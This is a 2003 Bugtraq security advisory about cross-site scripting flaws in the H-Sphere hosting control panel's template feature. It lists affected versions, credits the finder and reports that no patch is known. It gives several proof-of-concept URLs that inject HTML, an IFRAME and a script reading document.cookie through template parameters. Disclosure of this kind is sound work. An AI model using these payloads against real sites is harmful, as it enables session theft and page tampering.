H-Sphere HTML Template Inclusion Cross-Site Scripting Vulnerabilities

Bugtraq ID:	7855
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 09 2003 12:00AM
Updated:	Jun 09 2003 12:00AM
Credit:	Discovery of this issue is credited to "Lorenzo Hernandez Garcia-Hierro" <[email protected]>.
Vulnerable:	Positive Software Corporation H-Sphere 2.3 RC3 Positive Software Corporation H-Sphere 2.2 Positive Software Corporation H-Sphere 2.1 Positive Software Corporation H-Sphere 2.0 6 - Apache Apache 1.3.9 - Microsoft IIS 5.0 Positive Software Corporation H-Sphere 2.0 5 - Apache Apache 1.3.9 - Microsoft IIS 5.0 Positive Software Corporation H-Sphere 2.0 - Apache Apache 1.3.9 - Microsoft IIS 5.0
Not Vulnerable:

H-Sphere HTML Template Inclusion Cross-Site Scripting Vulnerabilities

H-Sphere is prone to multiple cross-site scripting vulnerabilities via the HTML template feature in the Hosting Control Panel. HTML and script code will not be filtered from pages which are generated when a request for an invalid or unknown template is made.

This could be exploited if a web user follows a malicious link to a site hosting the vulnerable software that includes hostile HTML or script code. The link may also need to contain the username of a valid, logged in user.

H-Sphere HTML Template Inclusion Cross-Site Scripting Vulnerabilities

The following examples were provided:

http://www.example.com/[PATH TO
H-SPHERE]/servlet/psoft.hsphere.CP?action=login&ftemplate=[MORE CODE AND
XSS]&requestURL="><h1>XSS%20in%20PSOFT%20SPHERE<a%20href="&login=[USERNAME]&
password=[PASSWORD]

http://www.example.com/[PATH TO
H-SPHERE]/servlet/psoft.hsphere.CP/[USERNAME]/[ID]/psoft.hsphere.CP?template
_name=<H1>xss</H1>

http://www.example.com/[PATH TO
H-SPHERE]/servlet/psoft.hsphere.CP/[USERNAME]/[ID]/psoft.hsphere.CP?template
_name=<IFRAME>

http://www.example.com/[PATH TO
H-SPHERE]/servlet/psoft.hsphere.CP/[USERNAME]/[ID]/psoft.hsphere.CP?template
_name=<h1>XSS

http://www.example.com/[PATH TO
H-SPHERE]/servlet/psoft.hsphere.CP/[USERNAME]/[ID]/psoft.hsphere.CP?template
_name=<script>alert(document.cookie);</script>

H-Sphere HTML Template Inclusion Cross-Site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

H-Sphere HTML Template Inclusion Cross-Site Scripting Vulnerabilities

References:

• Positive Software Homepage (Positive Software)
  
• PSOFT H-Sphere Cross Site Scripting Vulnerabilities ("Lorenzo Hernandez Garcia-Hierro" )